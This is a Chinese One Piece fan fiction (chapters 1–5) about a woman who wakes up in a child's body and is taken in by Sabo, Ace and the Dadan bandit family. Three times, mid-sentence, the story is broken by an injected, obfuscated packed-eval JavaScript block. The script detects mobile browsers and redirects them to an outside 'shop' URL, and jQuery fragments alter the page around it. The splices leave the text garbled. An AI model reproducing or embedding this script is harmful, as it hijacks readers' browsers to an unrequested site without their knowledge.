《[海贼王]你愿意填满这个空瓶吗》 1. 楔子 我有一个难以实现的愿望——这个世界上会有那么一个全心全意爱着我,并且只爱着我的人。当面临选择时,他永远会选择我。 有人说越是渴望什么,就越是缺少什么。 是的,这句话没有错。 * 当发现自己穿越了之后,我环视四周高耸入云的巨树和高大的灌木丛,脑子里一片空白。 身体变成了幼儿的模样。我低下头,女性的性征消失不见,取而代之的是微微鼓起的小肚子。小肚子下是一双又细又短的腿,迈动的时候似乎能听到幼儿动画里“啪叽啪叽”的配音。 右手食指关节末端的黑痣消失了,那里曾被我用铅笔戳穿,人为地留下了一个标记。我又抬手摸向后颈,在生长着毛发的头皮与颈部肌肤交接的地方摸到了一小点凸起,这是我生下来就有的痣——一颗红色的爱心。 这是我的身体,只是不知道为什么缩水了。意识到这一点的我稍微松了一口气。 但是这口气还没松多久,我就听到了灌木丛的窸窣声。一股凉意蹿上脊背,我瞪大眼睛回头望去,视线被一张尖牙利齿的血盆大口完全覆盖。 是野兽! 大概是启动了人体的某种保护机制,我对后面发生的几秒失去了记忆。记忆恢复的时候,我双腿发软跌坐在地上,巨狼头上顶着一个大包,翻着白眼倒在了我的面前。 “嘿嘿,晚饭有着落了。”扛着钢管的金发男孩笑眯眯地走出巨狼身后,对我伸出手,“小妹妹,这片森林可不是你该来的地方。” 我穿越到异世界了吗?正常来说,一个看起来只有七八岁的小孩绝对不可能轻轻松松打倒一头身长至少有3米的巨狼吧!我没有听懂他的话,但看懂了他的动作,稍微犹豫了几秒,我慢吞吞地把手放到他的掌心里。 他的掌心粗糙又滚烫,我抖了一下,随后被他握紧手掌,从地上拽起来。 “你好。”我用自己的语言和他打招呼,用刚被他放开的那只手指向自己,“莉莉。” 他圆圆的黑眼睛瞪得更圆了:“你的名字叫莉莉?” 我茫然地眨眨眼睛,再一次用手指着自己,重复道:“莉莉。” “居然是完全没听过的语言,你这样的小孩是怎么跑到戈尔波山上来的。”他感叹了一句,随后学着我的样子指着自己,体贴地放缓了语调:“萨——博——,我叫萨博。” “萨博。”我念出他的名字,对他友善地笑了笑,“谢谢你救了我。” “‘谢谢你救了我’是什么意思?”萨博也露出了茫然的神色。他很快便把这个疑问抛到脑后,将巨狼的右爪扛到左肩,伸出右手牵住我,对我露出一个大大的笑容:“我们先吃晚饭吧,我都快要饿死了。”他的话音刚落下,一阵“咕噜噜”的声音便从他的肚子里传来。 刚见识过森林的险恶,我不敢再一个人呆在这里,于是便顺从地跟着萨博走。走了大概二十多分钟,我们来到了一面爬满藤蔓的石壁前面。萨博把其中的几条藤蔓拂到两边,露出一个微微亮着光的洞口。 为什么一个头戴礼帽穿着衬衫马甲、衣冠楚楚的孩子会住在山洞里,像个野人一样生活? 他很有主人公意识地把我按在打满补丁的沙发上,又翻找出几块硬邦邦的面包,一块递给了我,剩下的都塞进了自己嘴里。他鼓着圆鼓鼓的腮帮子说话,并没有因为我听不懂就放弃交流。 我用茫然的神色看着他,努力去分辨他话里的音节。 他笑起来,摸了摸我的脑袋,从书架上拿了几本童话书给我。自己则找出一把尖刀,向着山洞外面的巨狼走去。 我意识到他是要过去处理野狼的尸体,顿时感到头皮发麻。他还这么小,就已经可以杀掉野兽,再把野兽剥皮拆骨,煮熟吃掉了吗。这个世界没有监护机构吗,他怎么可以一个人生活在森林里? 大抵是出于成年人可笑的责任感,我走过去挡在他的面前,比划着让他把刀递给我。“让我来吧,这种事情交给我就好。” 他挠了挠头,有点担心地看着我,似乎也产生了和我类似的责任感——他认为我是需要被照顾的那个人。随后他妥协了,把刀递给了我,用一种无奈的目光注视着我。 我握着刀,犹豫着要从哪里开始下手。萨博拍打了一下巨狼的腹部中央,示意我从这里开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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为什么……七八岁的小孩子会有腹肌??? 我到底来到了一个什么样的世界啊! 2. 萨博和艾斯 吃完体积可怕的晚饭后,萨博懒洋洋地倒在地上,嘴里满足地喊着:“今天吃得真饱,太幸福了。” 我重复了一遍他的话,有点好奇他到底说了什么。 “你的语言天赋很不错嘛,发音很准哦。”他从山洞里拿来先前给我的童话书,开始用图片教我上面的单词。 我学得很快,他只要教我一遍我就能完全记住并掌握那个词的意思。毕竟是成年人的灵魂。 “莉莉好聪明,真厉害!”他把我的头发揉得乱七八糟的,龇着牙大笑。 黄昏降临,萨博带着我去山洞附近的小溪清洗了厨具和餐具。完成这个工作后,他以迅雷不及掩耳之势扒掉身上的衣服,“噗通”一声跳进泛着黄昏光芒的溪水中,招呼我也跳下去。 “过来洗澡,莉莉。” 男孩的身体实在不足以让人脸红心跳,但到底性别不同,我摇了摇头,背过身去。 “不用担心啦,水里没有食人鱼。”萨博的声音出现在身后。 一只湿漉漉的胳膊缠上了我的腰,我被萨博径直拽进溪水中。 “?”我一时没有反应过来。 萨博捧着水揉搓我的脸颊,笑嘻嘻地说:“女孩子要更爱干净才行吧。” 我茫然地看着萨博,不明白为什么他没有理解到我的拒绝,以及——你自己都脱了衣服才跳下水,为什么要在我穿着衣服的时候把我拉下来!你是怎么想的!吸了一口气,我决定不去纠结这个问题,反正都被他拽下水了,索性就用溪水清洗一下身体吧。 我把萨博推开了一些,主动撩起水清洗身体。衣服就不脱了,毕竟我又不是真的小孩子,我不想在小男孩面前赤身裸体,尤其是在光屁股的小男孩面前。 萨博没有坚持,他很快便在溪水里玩了起来,用各种泳姿在浅浅的溪水里扑腾,时不时发出怪叫,好像在进行什么幼稚的扮演游戏。 就这样一直玩到天光渐消,萨博才意犹未尽地从溪水里爬起来,拿上厨具和餐具牵着我往山洞里走。湿漉漉的衣服紧贴在我身上,山风一吹便带来一股寒意,我抖了抖,忍不住打了个喷嚏。 回到山洞,萨博找出一条毛巾和一件他的小衬衫给我。我躲到由破烂拼成的屏风后,擦干身体换上了他的衣服。他的衬衫在我身上变成了长裙,我费了很大的力气才终于把手从袖子里穿过,多余的布料堆积在手臂上,像是戏曲人物才有的水袖。 我感到大事不妙,我发现我的身体比我想象中还要幼小。 走出屏风,萨博已经躺到了床上,他拍拍身边的另一个枕头,示意我过去。 他的眼皮在上下打架,看起来随时可能睡着。但是在发现我的头发还湿着以后,他很有大孩子责任感地拿起毛巾给我擦干,虽然擦到一半就倒在枕头上睡死过去。 我给他盖好被子,也犯起了困,毕竟是小孩子的身体。但是考虑到现在身处的环境,我还是强忍着睡意彻底擦干了头发才睡下。孩子的身体是很脆弱的,我得照顾好我自己。 关闭了床头的煤油灯,我缩进被窝。 这个山洞所有的布置都是儿童大小,没有任何成年人生活过的痕迹。这是我判断出萨博一个人住的证明。但是他的家并不脏乱,相反,所有的一切都井井有条、收拾得很好——他不是从最开始就住在森林里的。那他为什么会住在这片存在着凶猛野狼的森林里呢? 想着今天一天的经历,我的意识渐渐模糊。左边热乎乎的孩子把手伸过来,抱娃娃似的抱住我,嘴里嘀咕了几句梦话。 我挣扎了几下,没有挣脱他的手臂,最后只能叹了口气,对他说:“晚安,萨博。” * 第二天萨博带我去了另一个地方——遥遥能看到一座废墟的森林外围。路很不好走,我也不能像萨博那样跑得飞快,刚走了一小会儿就在萨博的催促下爬到了他的背上,让他背着赶路。 萨博像是只猴子,又像是过山车,跑得飞快,又跳得很高。到达目的地后我双眼转圈,一头栽倒在毛茸茸的草地上。他没什么愧疚地在我旁边说着道歉的话,笑得眉眼弯弯。 萨博似乎在等人,没有继续移动的打算。又在他那里学会几个单词后,我跑到附近摘了一堆鲜花,找了个干净的地方坐下,想要编出一个花环。 身体变小以后,我的思维也变得幼稚起来。我不再去想工作的事情,也不想去管以后的日子怎么过,总之先摆烂。 我很久没有做这种手工活,花环的进度慢得出奇。萨博好奇地坐到我身边,也学着我的样子开始编织花环。他飞快地编好了花环,并且做得很漂亮,笑嘻嘻地戴到我头上。我也渐渐回忆起手感,完成了这个游戏。我举起花环,示意萨博低头。 萨博摘下他的黑色小礼帽,向我低下脑袋。我把自己做好的花环戴到他头上,然后对上他明亮的眼睛,和他一起笑起来。 小孩子的快乐真是简单纯粹。 过了没多久,萨博等的人到了。我在萨博的身后探出脑袋往前看——那是一个黑发的男孩,他有一双阴郁的眼睛,脸颊上长着几颗雀斑,表情看起来很凶。 他指着我,用不高兴的腔调对萨博说话。 萨博还是笑眯眯的,他一边回答那个孩子,一边把手伸到背后,安抚似的拍了拍我的脑袋。 发现黑发男孩的视线转向我,我连忙缩回萨博身后。 我有 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“艾斯。”我跟着萨博念了一遍,随后便不说话了。 “你在害怕吗,莉莉?”萨博揉了揉我的头发,代替了本该有我来的自我介绍。“这个小妹妹叫莉莉。看在她还是个小孩子的份上,对她友善一点吧,艾斯。” 叫艾斯的黑发男孩扬起眉,用另一只手扯起我的脸蛋:“你倒是看看她对我的态度。赶紧把她送回镇上,我可没有多余的功夫帮你照顾这个小丫头。” 脸上的肉都快要被扯下来了,我的眼睛无法控制地泛起水汽。在艾斯松开手后,我感觉到脸上火辣辣的疼痛。 萨博低下头来查看我脸上的红印,脸上露出生气的表情。 “艾斯……”他皱着眉对艾斯说了好多话。 艾斯沉默地听着,偶尔反驳几句,最后耸下肩膀,不耐烦地对萨博挥了挥手,催促他赶紧走。 萨博见艾斯多少听进去了他的叮嘱,放心不少,对我和艾斯做了个再见的手势。 我有心想要跟萨博一起走,却被艾斯抓着手掌,轻描淡写地拉回他身边。 “萨博……”我喃喃地喊着萨博的名字,心里涌现出不安的情绪。可能是雏鸟情节吧,即使这只“鸟妈妈”比我小很多。 萨博回头露出一个灿烂的笑容,他再次对我挥了挥手,渐渐走远。 我心里明白萨博大概是将我托付给艾斯照顾了,但是…… 艾斯俯身盯着我泪水氤氲的眼睛,脸色阴沉,瞳眸中只有一片冷漠。 这个家伙怎么这么可怕啊!感觉随时会把我扔掉! 3. 艾斯和他的家人 啊——他的额头受伤了。我率先移开和艾斯对视的目光,看向他的额角。那里有一处血糊糊的伤口,刚才被他卷曲的黑发挡住了,我没有注意到。 我抬起手,想要确认他受伤的程度,却被他抓住了手腕,毫不留情地甩开。 艾斯皱着眉,冷声道:“别碰我。” 听,听不懂。我张着嘴不知所措,只好指了指自己的额头,用昨天从萨博那里学到的词说:“红色。” 艾斯闻言稍作思索,他松开牵着我的那只手,粗鲁地擦掉伤口处渗出的血,转身就走。走了几步,他见我仍旧站在原地,冲我抬了抬下巴:“发什么呆,跟过来。” 会感染的吧,他的手看起来可不怎么干净。我脸上露出一缕愁绪,苦于语言无法相通,手上又没有酒精和绷带,什么都做不了,只能顺从地跟上他。 在背后看着艾斯,我这才发现他不仅仅是额头受伤了。他的胳膊和双腿上也有很多擦伤和青紫。和别人打架了吗?毕竟他看起来脾气很坏的样子。 我小跑几步,拉住他那件白色背心的衣角,低落地说:“对不起。” “哈,你对我说什么对不起?”艾斯转过头来看我,又把手伸过来扯我的脸颊,不过力道没有上次大,不会让我疼得忍不住流眼泪。 因为我才应该是照顾人的那个角色。而不是被一个伤痕累累的陌生孩子照顾,虽然他脾气很坏。 我听不懂艾斯的话,又没办法说他能听得懂的话,只好眼巴巴地望着他,想要透过我的表情让他知道我很担心他。 艾斯冷冷地看了我半晌,嘴里嘀咕了一句“麻烦的小丫头”,再一次拉住我的手。他不耐烦地开口:“这样总行了吧,你可别指望我会像萨博那个家伙一样。” “……”他是不是误会了我的意思? 就这么被他牵着走了十多分钟,艾斯和萨博一样嫌弃起了我的速度。他一点招呼没打,把我往胳膊下一夹,又像猴子又像过山车一样跑跳起来。 从运动神经和体力来讲,艾斯和萨博真的很像。还有完全不顾我死活这一点也很像! 晕乎乎地倒在地上,我一时分不清自己是谁,从哪里来,又要到哪里去。 周围响起吵闹的人声,一团黑影包围了我。我在地转天旋的视野里往上看,看到了一张凶悍的大脸。 “艾斯,你从哪里捡了个小丫头回来?!”她用震惊的声音大声道。 “暂时寄放在这里,明天我就把她带走。”人群外传来艾斯冷漠的声音。“达旦,别让她到处乱跑,我出去抓晚饭了。” “什么,你是在使唤我吗臭小子!” 围着我的人们爆发出一阵抗议。但艾斯根本不理会他们,径直走了出去。 叫达旦的高大女人拎着我的后领,对着还在晕眩的我一阵输出,喷了我满脸口水。周围的男人们齐齐应和,毫不掩饰对我的嫌弃。 最后好像是看出我不太舒服,或者她终于骂够了,她把我放到椅子上,递给我一杯水。 我呆呆地接过,下意识对她说了句谢谢。我马上反应过来她听不懂我的话,又用萨博教我的语言再次说了一遍。 达旦瞪大了眼睛,好似没听过这句话。 我以为自己没有说清楚,于是慢吞吞地,口齿清晰地又说了一遍“谢谢”。 不知道为什么,她看起来很感动,然后开始指着艾斯离开的方向破口大骂。 语言障碍让我穿越后的生活过得好艰难…… 达旦看起来很粗鲁,到底也是女性。她注意到我头发上的树叶和蜘蛛网,还有衣服上的尘土,一边骂骂咧咧,一边给我整理,重新把我收拾干净。她把我带到一个房间,找出几本破破烂烂的图书和老旧的玩具,大声地对我吼了几句话,把门关上了。 没过一会儿,门打开了。走进来一个小个子的男人,我听他们叫他“多古拉”。他在我身边放了一碟糯米团,摸了摸我的脑袋,柔声和我说了几句话,走出了门。 门外传来达旦和一群人交谈的吵闹声。 他们是艾斯的家人吗?和他的脾气好像。 * 将近黄昏的时候,艾斯带了一头大野猪回来。他看见我坐在他的家人中央,脸上露出疑惑的神色。 我倒了一盆温水,拧干毛巾递给艾斯。 他站在原地没有动,皱起了细细的眉毛,看起来并不明白我为什么要把毛巾递给他。 我只好再走近几步,踮起脚替他擦拭脸上的脏污。 艾斯下意识地后撤,不知道想到了什么,又停住了,忍耐着暴躁又迷茫的情绪站在原地任我动作。 我仔细擦干净他的脸,又帮他擦掉手臂上的污渍。 “艾斯。”我叫着他的名字,拉着他的手,把他带到客厅里去。那里已经摆放好了我连比带划向多古拉要来的绷带和酒精。 艾斯这时候似乎才反应过来:“谁要你多管闲事了!” 门口的多古拉给了我一个“你看吧”的表情。 “……”我哪里又冒犯到他了。算了算了,不要和小孩子计较。我在心里安慰着我自己,按着艾斯坐下,拿出酒精和绷带替他包扎。 他满脸不高兴,看起来随时会举起拳头打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222157|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,却到底没有动手,反而还挺配合。我想要处理他左手的伤,他便把左手伸过来;想要处理他右手的伤,他便侧过身体递过来自己的右手;想要处理他额头上的伤,他便弯下腰,把脑袋放低到和我的脑袋平齐的地方。 这不是很乖嘛,干嘛装得凶巴巴的。 身体缩水后,我的手变得很小很小,做事情也相应的慢了许多。等我好不容易处理完了艾斯的伤势,达旦那边也处理完了他带回来的野猪,做了超级大一锅香喷喷的烤肉。 我被分到了单独的一碗食物和一杯果汁,呆滞地看着艾斯和他的家人们围着大锅抢食——我一辈子都没见过那么多人一起抢东西吃的场面。只抢到了几根肉骨头的大白狗注意到我碗里的饭菜,眼睛亮起绿光,流着口水朝我扑过来。 嘴里叼着肉的艾斯一侧头,眼睛都不眨地把大白狗踢飞出去。 “……”好难形容我的心情。 “吃啊,你看什么看!”他口齿不清地骂我。 虽然听不懂他说了什么,但是他的语气那么凶,肯定是在骂我没错。 我老实地收回目光,努力刨饭。 * 吃完饭,帮大家收拾好碗筷之后,达旦把我拎进浴室,不顾我“我可以自己洗”的呐喊给我洗了个澡,又给我换上一套带着阳光味道的睡衣,把我丢进了之前的房间。 房间里的艾斯正在打理一根和萨博那根看起来一样的钢管,见我被达旦扔到被褥上,投来冷淡的一瞥。 我哼哼唧唧地翻过身,呈大字状躺平。 好困,变成小孩以后体力变好了,但是相应的,续航时间减少了很多。我估摸着现在也就八九点的样子,正常情况下,我这时候应该在看书或者做手工。参加工作以后,属于自己的时间越发珍贵,我总是会耗费很多夜晚的时间来玩耍,十二点睡觉都算早的了。 艾斯处理完了自己的“武器”,甩开鞋子走到被褥上。他往我大张的胳膊上踢了一脚:“别占那么多地方,收回去。” 我鼓着脸收回手臂和双腿,看着艾斯在我身边躺下。 他转头看到我的脸,揪住了我的脸颊:“不许用这个表情看我!” “艾斯……” “嗯?”他挑起眉,一副凶巴巴的模样。 “臭东西。” “???”他震惊得不得了,似乎不相信自己听到了什么。 “艾斯,臭东西。”我重复了一遍。 一瞬间左右两边的脸颊都被艾斯揪住了,他对着我怒吼:“别跟着那群笨蛋山贼乱学!给我马上忘掉刚才的话!马上!” 4. 噩梦和苹果 睡着之前最后的记忆,是我奋起反抗,试图也去扯艾斯的脸颊,但是我的手太短了,根本够不到他的脸,只能退而求其次,转头去咬他的手臂。 至于有没有咬到他,我记不清楚了。我有点怀疑自己不是单纯的睡着了,而是被他打晕了。但是摸遍了脑袋,都没有摸到肿包——哦,肚子上倒是青了一大块,是某个臭东西脚丫子的形状。 他大半夜一脚踢中我的肚子,把我从床上踹到墙角。我痛得叫都叫不出来,缓了好一会儿才能扶着墙壁坐起身,在黑黢黢的房间怒气冲冲地瞪着被褥里的罪魁祸首。 艾斯表情狰狞地对着天花板一通拳打脚踢,拳风足影舞动得虎虎生风,感觉能一口气打死一百个我。 他好像梦到了非常生气的事。而且也睡得太死了吧,这样都不醒! 突然,艾斯的动作慢下来,整个人缩成一团,发出细小的呜咽。 “?”我踮着脚小心翼翼地靠近,想要看看艾斯到底怎么了,有点担心他打空气打得太厉害,扯伤了肌肉,然后——“嘭!”我的右眼被他狠狠击中了。 我也不想哭,毕竟是个成熟的大人了,但是实在太痛了,又觉得自己好委屈。于是在夜深人静的半夜,我扯开嗓子嚎啕大哭。 没过多久,其他房间的灯陆陆续续亮起。达旦一马当先冲进了我们的房间,她本来满脸怒火,想要冲着我和艾斯咒骂,但是当她的目光落在我的脸上时,她的下巴“咔嚓”一声掉了下来。 “你是恶鬼吗艾斯!大半夜欺负一个小丫头!”达旦对着艾斯恶狠狠地骂了一句,把飚着眼泪的我抱起来,指挥身后的男人们去做事情。 艾斯揉着眼睛从被褥上爬起来,一脸莫名其妙。 啊,我更生气了。这个家伙完全没发现他对我做了什么! 达旦把我抱到灯光比较明亮的客厅,仔细查看我的右眼,又把我的衣服掀开,看到了肚子上的淤青。她“嘶”了一声,从长着鸡冠头的高大男人手里接过一枚剥了壳的热鸡蛋,在淤青的地方来回滚动。动作和她高大粗野的外表相反,轻柔又细致。 她让我想起了我的妈妈和外婆。紧接着我感觉到了从心底蜿蜒而出的寒凉,一下子摆脱了被情绪控制的状态。 “怎,怎么突然没声了,死,死了吗这个小丫头!”达旦心惊胆战地看向我,发现我还睁着眼睛,大大地松了口气。 我为刚才那个情绪失控的小女孩感到窘迫,红着脸对她说了句“对不起”,然后又接上一句“谢谢”。 “你……”达旦瞪大了眼睛,转头流下一长串眼泪。“太可怜了,这个小丫头。” “……”她的情绪变化得好快。 “喂,艾斯,住手。” “你和一个小丫头计较什么?” “对啊对啊,她已经被你打得很惨了,放过她吧。” 走廊上传来阵阵骚动,艾斯甩开阻拦他的家人们,出现在了我和达旦面前。达旦一副护崽子老母鸡的模样把我挡在身后,对着艾斯大声说着什么,声音里满是怒气。 艾斯好像完全没听到达旦的骂声,隔着达旦庞大的身躯遥遥看向我,在灯光下闪动的目光冷漠、愤怒、轻蔑又——孤独。 哈,他在脆弱什么啊!被揍得痛哭流涕的那个人可是我啊!我气得捏紧了拳头。 等等……他为什么是这个反应?正常人发现自己在梦游的时候差点把别人两拳打死,不该感到愧疚吗?!他搞什么伤痛文学啊!神经病吗这个人! 表情太大扯到了肿胀的右眼,好痛呜呜呜……眼泪又止不住了。 艾斯愣怔了片刻,垂下头,乱糟糟的卷曲黑发覆盖了他的眉眼。 他语气生硬地开口:“对不起。” “诶,那个艾斯——” “居然——” 达旦家的人震惊地齐声呐喊:“道歉了!” 萨博教会了我“金色”、“蓝色”、“黑色”、“红色”、“花朵”、“太阳”、“你好”、“谢谢”、“对不起”、“没关系”等单词;达旦一家则教会了我“垃圾”、“混蛋”、“老大”、“臭东西”、“杀”、“滚开”等单词。 我的单词量有限,刚才我只听懂了艾斯的道歉,没听明白达旦一家的话。 我想了想,还是按老办法无视掉听不懂的话,回答自己听得懂的部分。 “艾斯,臭东西。”我梗着脖子这样说。 给我大致处理完了受伤的眼睛和肚子,达旦一家打着呵欠散了。达旦本来想带我去她的房间睡觉,结果被艾斯拦住了去路。我见到他们对视了十多秒,达旦烦躁地嘟囔一声,把我递给了艾斯。 “……”我不想再被他打一顿,达旦…… 达旦关上了门。 “……”救救我救救我,谁来救救我!萨博! 艾斯把浑身僵硬的我放回床上,跪坐到我的身前,捧住了我的脸。他在月光下仔细查看我肿得快要睁不开的右眼,眼睛里露出歉意的神色。 发现他好像很愧疚的样子,我胆子大起来,脑袋里闪过一个坏坏的想法。我主动掀起睡衣露出肚子,给他看肚子上的青紫於痕,指着那片狰狞的痕迹补充:“艾斯。” 他的黑瞳一缩,看起来更愧疚了。 我拉住他的左手,在他疑惑的目光中慢吞吞地把脑袋凑过去,作出要咬他的样子。 “没关系。”我的意思是我咬他一口,然后我就原谅他了。 艾斯明白了我表达的意思,没有反抗。他干脆道:“咬吧。” 我张嘴含住他的胳膊,牙齿试探性地一点点使劲,眼睛则睁得大大的,从下往上观察他的表情,警惕他突然反悔给我一拳。 但是他没有。他平静地注视着我的眼睛,绷紧脸颊,咬住牙齿,忍耐着胳膊上一点点加剧的疼痛。 在给艾斯的胳膊留下两排深深的牙印后,我松开了嘴。没有硬生生把他的胳膊咬出血,我感觉自己真是个有分寸的成熟大人。嗯,没错,我为自己感到自豪。 “啧,脏死了。”艾斯用没被咬的右手抹掉我嘴角的唾液,反手擦在我的睡衣上。他想了想,又把倒抽凉气的我扯过来,把他左手上我的口水也擦在了我的睡衣上。 啊啊啊,好脏!虽然是自己的口水……我瞪着衣服上的湿痕,刚刚平息的怒火又开始冒出小火苗。 “给你,换这件。”艾斯把一件背心扔到我脑袋上。 你一开始用自己的衣服擦不就好了!我愤愤地从鼻子里喷气,背过身去换好衣服。反正艾斯是小孩子,我的身体是更小的孩子,没什么需要防备的地方。 换完衣服,我为了防止再一次被梦游的艾斯打飞,拖起暂时归我的那床小被子在角落躺下,把自己严严实实地裹住。 我决定不生他的气了,安生睡觉。 “晚安,艾斯。” * 前半夜没有睡好,早上也没有人过来叫我起床,我一直睡到了九点。 被达旦带去洗漱的时候,我仔细打量了一番镜子里的脸,彻底放下心来。大眼睛小嘴巴,脸蛋圆滚滚,这确实是我小时候的面容。 不过我的眼睛昨天夜里肿得那么厉害,现在居然完全恢复了,一点看不出曾经被人打过。肚子上的淤青也消失了。 小孩子的恢复能力这么厉害吗? 艾斯家的人少了很多,达旦告诉我他们出去工作了。她给了我一碟涂满果酱的面包和一杯果汁,然后做出一副很夸张的凶恶表情,对我劈里啪啦说了一长串话:“听好了小丫头,我昨天同意你在我们这里暂住一天,已经用尽了一整年的善良份额。今天你就给我从哪里来滚回哪里去,我们照顾艾斯这个臭小子已经够麻烦了,绝不会再BALABALA ……” 我没听懂,只能对着她傻笑。 她气了个趔趄。 多古拉和昨天那个鸡冠头的高大男人——我听见别人都叫他“马古拉”——赶紧拉住达旦,好说歹说才把她劝走。 马古拉拿了三个苹果给我,他在我身边坐下,用餐巾擦掉我脸上的果酱,温和地笑了笑:“别害怕,莉莉,老大只是嘴巴很坏。” 我茫然地眨了眨眼睛,也对他笑,问他:“艾斯?”他上学去了吗?我好像没有在他的房间里看见书包,只有几本画着武器、船和大海的图画书。 马古拉用简单易懂的肢体语言回答我——他出门锻炼了。 “哦——”这样啊。我点点头,老实吃饭。 将近中午的时候,艾斯扛着一头比他高了将近三四倍的奇怪黑白熊回来。我因为害怕他肩上的怪熊,远远地躲在了角落,他的目光在人群里搜索了好几秒才对上我的眼睛。确认我还在这里后,他在其他人的簇拥下把怪熊扛进了厨房。 等艾斯从厨房出来,我掏出苹果递给他。早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222158|151217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上我自己吃了一个,打算把剩下的两个留给萨博和艾斯。当然出于私心,我把最大的那个留给了萨博。 艾斯面无表情地看了我一眼,从我手上接过苹果。他用身上不太干净的红色背心敷衍地擦了两下苹果的外皮,“咔嚓”咬了一大口。甜甜的味道似乎换来了他的好心情,那双总是阴沉沉的眸子变得亮晶晶的,让他看起来可爱多了。 午饭的时候,艾斯分了一大块熊肉给我。 我本身的胃口不大,而且早饭是十点钟才吃的,按理来讲我应该吃不下多少东西。但是奇怪就奇怪在这里,我不但吃完了达旦专门盛给我的那份饭菜,还吃完了艾斯给我的,比我大腿还要粗上一圈的熊肉。 我想到萨博、达旦一家以及艾斯可怕的食量,感觉我好像正在被这个世界同化。 吃完午饭,艾斯就带着我出门了。在我的强烈抗议下,他总算没有像昨天那样把我夹在胳膊底下,而是在我身前蹲下,打算背着我走。 他的态度比昨天友善了好多。苹果的威力恐怖如斯! 我脑子里想着往艾斯屁股踹上一脚的偷袭计划,身体则老老实实地趴到了他的背上。如果我真的那么做了,用脚指头想都知道一定会被他狠狠揍一顿。 我来的时候头晕眼花,不知道自己是怎么被带到达旦家的。离开的时候倒是看明白了…… 艾斯背着我跑过悬挂在深谷之上的吊桥,拉着垂落的藤蔓飞跃遍布巨大鳄鱼的沼泽,穿过巨熊和猛虎的战场……一路上杀机四伏,危机重重。 这片森林好可怕(泪目)。我绝对不会再来了! 还好没有踢艾斯的屁股,不然我的下场可能比刚才那只打算偷袭我们的大蟒蛇还要凄惨。 好不容易回到那个能看到废墟的森林外围,我大老远就看到了萨博的身影,顿时精神一振,对他开心地挥手:“萨博!” “莉莉,艾斯,下午好。”萨博开心地跑向我们,他从艾斯背上把我抱下来,笑容灿烂地举着我转了好几个圈。 艾斯双手环胸,表情看上去不太高兴:“怎么样,找到这个家伙的父母了吗?” 萨博摇了摇头,半跪下来整理我身上那件快要拖到地面的背心——艾斯的衣服对我来说太大了。他一边把最下面的布料打成结,借此缩短背心的长度,一边回答艾斯的问题:“不确定物终点站、边镇还有中心街我都去了,都没有和莉莉相关的寻人启事。我打算过几天混进高镇看看。” “哈,这个小丫头难道是个贵族?”艾斯双手扯住我的脸往两边拉,黑眉高高挑起,“你不会捡了个小公主回来吧?” 我还沉浸在艾斯一钢管打死大蟒蛇的震慑中,没敢反抗。 “应该不是……”萨博皱着眉头思索了一会儿,“哥亚的王族中没有莉莉这个年纪的女孩子。” 艾斯闻言吃惊道:“你调查得真仔细,这种事情都知道。” 萨博的眼神飘忽了一秒,看起来有点心虚:“呃,毕竟事,事关莉莉的身世嘛。”他低头从口袋里掏东西,把几颗糖果给了我,把一把匕首给了艾斯,龇着牙笑:“这是带给你和莉莉的礼物。” 艾斯拔出匕首,雪亮的刀光照在他的脸上,衬得他脸颊上的雀斑像是溪水里跃动的小鱼苗。他露出了我见到他之后第一个纯粹的笑容:“哦——这把刀真不错!谢了,萨博。” 我接过糖果,这才想起我给萨博带的苹果。可是从口袋里掏出苹果之后,我发现苹果在路上磕坏了,模样颇为凄惨。 “这是莉莉给我的礼物吗?谢谢。”萨博倒是不嫌弃,和艾斯一样敷衍地用自己的袖口擦了两下苹果外皮,乐呵呵地吃起来。 我不好意思地挠了挠头发。还好我现在是个小孩子,不然送别人这样的礼物真的很丢脸。 他们又交谈了几句,萨博和艾斯突然转头看向我,比划着问我要不要去森林外的那个废墟里玩。 我看他们俩都很期待的样子,迟疑了一下,慢吞吞地点了点头。 萨博把我抱起来,笑着说道:“你一定会喜欢不确定物终点站的,莉莉,那里到处都是宝贝!” 我根本不明白萨博说了什么,只是配合地点头,主打一个烘托气氛的作用。 不知道我刚才是不是看错了,艾斯好像也把手伸向了我。我偷偷瞅了一眼和萨博并肩奔跑的艾斯,心底戚戚然:他该不会扯我的脸颊扯上瘾了吧? 5. 哥哥和妹妹 我以为的废墟其实是个面积非常大的垃圾场,里面堆积着各种各样的垃圾。衣衫褴褛的人们漫步在雾气缭绕的垃圾中,从里面翻找着能够再次利用的东西。 萨博告诉我这个地方叫做不确定物终点站。他拉着我蹲在一堆臭烘烘的垃圾前面,手把手地教我怎么“寻宝”。 我瞳孔地震,感觉一个大大的标签插到了我的脑门上——拾荒儿童。 萨博见我表情放空,喊了一声我的名字:“莉莉?” 我没什么精神地应了一声,深呼吸做了个心理准备,向那堆垃圾伸出手。变成幼童,无处可去,身无分文,这些已经是既定事实了,我只能接受现状,客服自己的恐惧和无用的自尊心,努力适应现在的生活。 